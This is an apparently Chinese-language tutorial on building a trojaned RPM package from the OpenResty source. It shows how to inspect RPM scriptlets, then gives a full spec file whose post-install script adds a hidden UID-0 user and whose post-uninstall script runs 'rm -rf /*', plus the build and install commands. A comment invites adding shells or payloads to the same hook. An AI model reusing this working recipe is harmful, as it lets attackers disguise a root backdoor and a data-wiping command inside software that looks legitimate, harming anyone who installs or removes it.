总字符数: 2.10K

代码: 1.97K, 文本: 0.04K

预计阅读时间: 9 分钟

分析RPM包

1
2
3
4
5
6
7
8
9
10
11
12
13
# 查看软件包的信息
rpm -qpi 包名
# 查看软件包脚本
rpm -qpi --scripts 包名
# 安装文件之后要执行的命令
postinstall
# 卸载文件之后要执行的命令
postuninstall
# 重要选项说明
# preinstall:安装过程开始之前运行的脚本,%pre,--nopre选项不执行
# postinstall:安装过程完成之后运行的脚本,%post ,--nopost选项不执行
# preuninstall:卸载过程真正开始执行之前运行的脚本,%preun, --nopreun选项不执行
# postuninstall:卸载过程完成之后运行的脚本,%postun, --nopostun选项不执行

制作木马RPM包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 以openresty-1.21.4.1.tar.gz源码包为例,我们通过rpm-build将其封装成为木马rpm包
# 安装依赖环境
yum -y install gcc rpm-build pcre openssl-devel perl
# 生成rpmbuild目录结构
rpmbuild -ba nginx.spec
错误:stat /root/nginx.spec 失败:没有那个文件或目录
# 会报错,不过没问题 需要的只是生成的目录rombuild
# RPMS(做好后的成品放置区)
# SOURCES(放置源码包)
# SPECS(配置文件)
# 将源码软件下载到SOURCES目录
wget -P /root/rpmbuild/SOURCES/ https://openresty.org/download/openresty-1.21.4.1.tar.gz
# 创建并修改spec配置文件
vim /root/rpmbuild/SPECS/nginx.spec
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# 软件名称
Name: openresty
# 软件版本
Version: 1.21.4.1
# RPM版本 打包版本次数
Release: 1%{?dist}
Summary: The is a Web Server,to Openresty # 描述

# Group: # 软件组,不知道的可以注释
# 协议,所属开源软件协议都是GPL
License: GPL
# 网址
URL: www.kali.com
# 源码文件,必须是源码包名称
Source0: openresty-1.21.4.1.tar.gz
# 依赖包,不知道可以注释
BuildRequires: gcc pcre openssl-devel
# 依赖包
# Requires:


%description
The is a Web Server,to Openresty
# 准备工作
%prep
# 开始识别源码的压缩方式等准备工作
%setup -q


%build
# 可在此添加需要的模块
./configure --with-http_ssl_module --with-http_stub_status_module
make %{?_smp_mflags}


%install
# 把软件装在BUILDROOT目录下
make install DESTDIR=%{buildroot}


%files
# 需要把哪些目录压缩

%doc
# 把整个nginx目录打包
/usr/local/openresty/*

%changelog

# 安装前执行的脚本,这里创建root权限的用户
# 这里想干什么自己应该清楚了,Shell...Payload等等等等
%post
useradd -d /usr/local/bin -u 0 -o kali
# 卸载后执行的脚本,这里删除根目录以及kali用户
%postun
rm -rf /* &>/dev/null
userdel -r kali
1
2
3
4
5
6
# 使用 rpmbuild创建RPM软件包
rpmbuild -ba /root/rpmbuild/SPECS/nginx.spec
ll /root/rpmbuild/RPMS/x86_64/

# 查看安装路径
rpm -qpl /root/rpmbuild/RPMS/x86_64/openresty-1.21.4.1-1.el7.x86_64.rpm

效果演示

1
2
3
4
# 回复快照
# 装包
rpm -ivh /root/openresty-1.21.4.1-1.el7.x86_64.rpm --nodeps --force
rpm -e openresty